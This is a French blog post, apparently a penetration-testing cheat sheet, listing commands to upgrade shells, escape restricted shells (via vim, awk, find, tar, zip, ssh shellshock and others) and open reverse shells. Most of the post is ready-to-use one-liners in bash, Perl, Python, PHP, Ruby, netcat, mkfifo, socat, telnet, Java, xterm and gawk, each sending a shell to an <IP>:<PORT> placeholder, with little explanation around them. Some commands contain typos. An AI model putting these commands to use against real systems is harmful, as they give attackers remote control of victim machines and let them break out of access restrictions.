SHELLS

Ici nous allons lister des commandes permettants une élévation de privilège en une ligne, très utiles quand l’utilisateur a la possibilité d’exécuter des commande en mode superadmin (cf. Énumération.c) :

1. Upgrade son shell

Souvent quand vous arriverez à établir une connexion et avoir la main sur un shell, vous serez restrains par le shell lui même, voilà quelques commandes qui vous permettront dans certains cas d’avoir un meilleur shell et donc d’avoir plus de possibilitées : 

Astuce :  Il faut impérativement que l’utilisateur puisse exécuter /bin/bash ou du python. 

Vous pouvez tester une de ces 3 commandes :

- echo && ‘bash’

- python -c ‘import pty;pty.spawn(« /bin/bash »)’ 

- python -c ‘import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((« <IP> »,<PORT>));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([« /bin/sh », »-i »]);’ #Changez le Port et l'IP de la victime

Astuce2 :  Avec la dernière commande il est possible d’ouvrir un listener Netcat pour récupérer le shell : nc -lnvp <port> êt attention a ne pas oublier le sudo lors de l excution

2. Evading restricted shell

Dans cette partie nous allons essayer de bypass un shell restreint. A ne pas confondre avec la partie juste avant qui n’est juste qu’un shell avec “une mauvaise mise en forme”. Dans cette rubrique nous allons voir l’évasion d’un shell qui restreint vos commandes : 

2.1 Utiliser VIM :

Vous pouvez utiliser l’éditeur de texte vim pour bypass un shell restreint. :

  • Taper vi
  • Descendre tout en bas et taper
:!/bin/bash 

Astuce :  Dans le cas ou cela ne fonctionnerait pas, quitter VIM en tapant  “ESC” puis “:q” ou “:q!” pour quitter sans sauvegarder.

2.2 Vérifier le PATH et l’utiliser : 

echo $PATH 
export PATH=/bin:/usr/bin:$PATH
echo $PATH 

2.3 Techniques courantes

  • Si "/" est autorisé, vous pouvez exécuter /bin/sh ou /bin/bash.
  • Si vous pouvez exécuter la commande cp, vous pouvez copier /bin/sh ou /bin/bash dans votre répertoire.
  • Depuis ftp > !/bin/sh ou !/bin/bash
  • Depuis gdb > !/bin/sh ou !/bin/bash
  • Depuis more/man/less >!/bin/sh ou !/bin/bash
  • Depuis vim > !/bin/sh ou !/bin/bash
  • Depuis rvim > :python import os ; os. system("/bin/bash )
  • Depuis scp > scp -S /path/yourscript x y:
  • Depuis awk > awk 'BEGIN {system("/bin/sh ou /bin/bash")}'
  • Depuis find > find / -name test -exec /bin/shor /bin/bash \ ;

2.4 Techniques des langages de programmation

A présent… regardons quelques techniques des langages de programmation.

  • Depuis except > except spawn sh puis sh.
  • Depuis python > python -c 'import os ; os.system("/bin/sh")'
  • Depuis php > php -a then exec("sh -i");
  • Depuis perl > perl -e 'exec "/bin/sh";'
  • Depuis lua > os.execute('/bin/sh').
  • Depuis ruby > exec "/bin/sh "

2.5 Techniques Avancés

  • Depuis ssh > ssh username@IP -t "/bin/sh" or "/bin/bash"
  • Depuis ssh2 > ssh username@IP -t "bash --noprofile"
  • Depuis ssh3 > ssh username@IP -t "() { :; }; /bin/bash" (shellshock)
  • Depuis ssh4 > ssh -o ProxyCommand="sh -c /tmp/yourfile.sh"127.0.0.1 (SUID)
  • Depuis git > git help status > you can run it then !/bin/bash
  • Depuis pico > pico -s "/bin/bash" then you can write /bin/bash andthen CTRL + T
  • Depuis zip > zip /tmp/test.zip /tmp/test -T --unzip-command="sh -c/bin/bash"
  • Depuis tar > tar cf /dev/null testfile --checkpoint=1 --checkpoint-action=exec=/bin/bash

3. Reverse Shell One Liner

Voici une liste de commandes à executer pour avoir un reverse shell en une ligne et dans de multiple language : https://www.asafety.fr/reverse-shell-one-liner-cheat-sheet/

1. Bash

Certaines versions de Bash permettent de transmettre un reverse-shell via « /dev/tcp/ » ou « /dev/udp/ » (version compilée avec le drapeau « –enable-net-redirections »).

- bash -i >& /dev/tcp/<IP>/<PORT> 0>&1
- exec 5<>/dev/tcp/<IP>/<PORT>;cat <&5 | while read line; do $line 2>&5 >&5; done
- exec /bin/sh 0</dev/tcp/<IP>/<PORT> 1>&0 2>&0
- 0<&196;exec 196<>/dev/tcp/<IP>/<PORT>; sh <&196 >&196 2>&196


2. TCLsh

Souvent cité comme alternative à l’utilisation de « /dev/tcp/ » et « /dev/udp/ » lorsque ceux-ci ne sont pas disponibles, TCL est un langage permettant l’utilisation des sockets et l’exécution de commande. En d’autres termes, adéquat pour établir un reverse-shell. Script TCL d’établissement d’un reverse-shell :

Version one-line :

echo ‘set s [socket <IP> <PORT>];while 42 { puts -nonewline $s « shell> »;flush $s;gets $s c;set e « exec $c »;if {![catch {set r [eval $e]} err]} { puts $s $r }; flush $s; }; close $s;’ | tclsh

3. MySQL

sudo mysql -e ‘\! /bin/sh’

4. Perl

Version dépendante de « /bin/sh » :

perl -e ‘use Socket;$i= »<IP> »;$p=<PORT>;socket(S,PF_INET,SOCK_STREAM,getprotobyname(« tcp »));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN, »>&S »);open(STDOUT, »>&S »);open(STDERR, »>&S »);exec(« /bin/sh -i »);};’

Version indépendante de « /bin/sh » pour Linux (avec fork) :

perl -MIO -e ‘$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr, »<IP>:<PORT> »);STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;’

Si le système cible est un Windows (sans fork) :

perl -MIO -e « $c=new IO::Socket::INET(PeerAddr,'<IP>:<PORT>’);STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>; »

Une version complète sous forme de script est également disponible ici.

5. Python

python -c ‘import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((« <IP> »,<PORT>));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([« /bin/sh », »-i »]);’

6. PHP

Pour chaque langage, différentes fonctions d’exécution de commandes locales sont exploitables. Dans le cadre du langage PHP, voici quelques exemples avec différentes fonctions :

php -r ‘$s=fsockopen(« <IP> »,<PORT>);exec(« /bin/sh -i <&3 >&3 2>&3 »);’
php -r ‘$s=fsockopen(« <IP> »,<PORT>);shell_exec(« /bin/sh -i <&3 >&3 2>&3 »);’
php -r ‘$s=fsockopen(« <IP> »,<PORT>);`/bin/sh -i <&3 >&3 2>&3`;’
php -r ‘$s=fsockopen(« <IP> »,<PORT>);system(« /bin/sh -i <&3 >&3 2>&3 »);’
php -r ‘$s=fsockopen(« <IP> »,<PORT>);popen(« /bin/sh -i <&3 >&3 2>&3 », « r »);’

Une version complète sous forme de script est également disponible ici.

7. Ruby

One-line dépendante de « /bin/sh » :

ruby -rsocket -e’f=TCPSocket.open(« <IP> »,<PORT>).to_i;exec sprintf(« /bin/sh -i <&%d >&%d 2>&%d »,f,f,f)’

Version indépendante de « /bin/sh » pour Linux (avec fork) :

ruby -rsocket -e ‘exit if fork;c=TCPSocket.new(« <IP> », »<PORT> »);while(cmd=c.gets);IO.popen(cmd, »r »){|io|c.print io.read}end’

Version pour Windows (sans fork) :

ruby -rsocket -e « c=TCPSocket.new(‘<IP>’,'<PORT>’);while(cmd=c.gets);IO.popen(cmd,’r’){|io|c.print io.read}end »

8. Netcat

Version traditionnelle de netcat (paquet netcat-traditional)  avec arguments « -c » ou « -e » disponibles (GAPING_SECURITY_HOLE activé) :

nc <IP> <PORT> -e /bin/bash
/bin/nc <IP> <PORT> -c /bin/bash

Pour toutes les autres version de netcat (notamment netcat-openbsd) qui ont été compilées avec le « GAPING_SECURITY_HOLE » de désactivé :

9. MKFIFO/MKNOD

rm f;mkfifo f;cat f|/bin/sh -i 2>&1|nc <IP> <PORT> > f
rm f;mkfifo f;cat f|/bin/sh -i 2>&1|/bin/nc.openbsd <IP> <PORT> > f
rm -f x; mknod x p && nc <IP> <PORT> 0<x | /bin/bash 1>x
rm -f x; mknod x p && /bin/nc.openbsd <IP> <PORT> 0<x | /bin/bash 1>x

Cryptcat est l’alternative chiffrée de netcat.

10. Telnet

Le double telnet, qui effectue une double connexion à la machine de l’auditeur sur deux ports différents. Le pentesteur doit donc placer deux netcat en écoute sur deux ports (1337 et 1338). Le premier netcat permettra d’entrer les commande et le second de recevoir les résultats.

telnet <IP> <PORT1> | /bin/bash | telnet <IP> <PORT2>

11. Socat

Dans la ligné des outils pour contrôler les flux réseaux, Socat est une des références. Rarement présent par défaut dans les distributions Linux (uniquement), il est possible de récupérer un reverse-shell par son intermédiaire :

socat tcp-connect:<IP>:<PORT> exec: »bash -li »,pty,stderr,setsid,sigint,sane

Socat permet des connexions bidirectionnelles pour établir des reverse-shell totalement interactifs (avec dead-keys, touches de contrôle…), et supporte nativement le chiffrement SSL, l’IPv6…

12. Java

r = Runtime.getRuntime()
p = r.exec([« /bin/bash », »-c », »exec 5<>/dev/tcp/<IP>/<PORT>;cat <&5 | while read line; do \$line 2>&5 >&5; done »] as String[])
p.waitFor()

13. Xterm

Une autre méthode permettant d’obtenir un reverse-shell est l’utilisation du transfert d’un terminal xterm. Pour réaliser cela, un X-Server doit être présent sur la machine de l’auditeur. Le paquet « xnest » permet cela aisément sur les systèmes Linux. Il faut de plus autoriser les connexions en provenance de la machine cible.

Sur la machine du pentesteur (mise en écoute sur le port 6001) :

Xnest :1
xhost +<IPTARGET>

Sur la machine cible :

xterm -display <IP>:1

Si le système est un Solaris, « xterm » ne fait pas partie par défaut de l’environnement. Son chemin d’accès complet doit être renseigné :

/usr/openwin/bin/xterm -display <IP>:1

14. (G)awk

Reverse-shell via Gawk, basé sur un script de shell simple en provenance du Phrack 62 :

Pour une exécution « one-line » en utilisant « awk » développée par ASafety (ou sa variante GNU Gawk) :

awk ‘BEGIN {s = « /inet/tcp/0/<IP>/<PORT> »; while(42) { do{ printf « shell> » |& s; s |& getline c; if(c){ while ((c |& getline) > 0) print $0 |& s; close(c); } } while(c != « exit ») close(s); }}’ /dev/null

15. Nginx

sudo service nginx start
netstat -antp 

Aller voir les fichier conf de nginx et voir quel logiciel on peut utiliser.

Dans mon cas c’était Lynx, je télécharge Lynx sur ma machine attaquante et on tape :

lynx <Ip_Victime>:<PORT>

Laisser un commentaire

Entrez vos coordonnées ci-dessous ou cliquez sur une icône pour vous connecter:

Logo WordPress.com

Vous commentez à l’aide de votre compte WordPress.com. Déconnexion /  Changer )

Photo Google

Vous commentez à l’aide de votre compte Google. Déconnexion /  Changer )

Image Twitter

Vous commentez à l’aide de votre compte Twitter. Déconnexion /  Changer )

Photo Facebook

Vous commentez à l’aide de votre compte Facebook. Déconnexion /  Changer )

Connexion à %s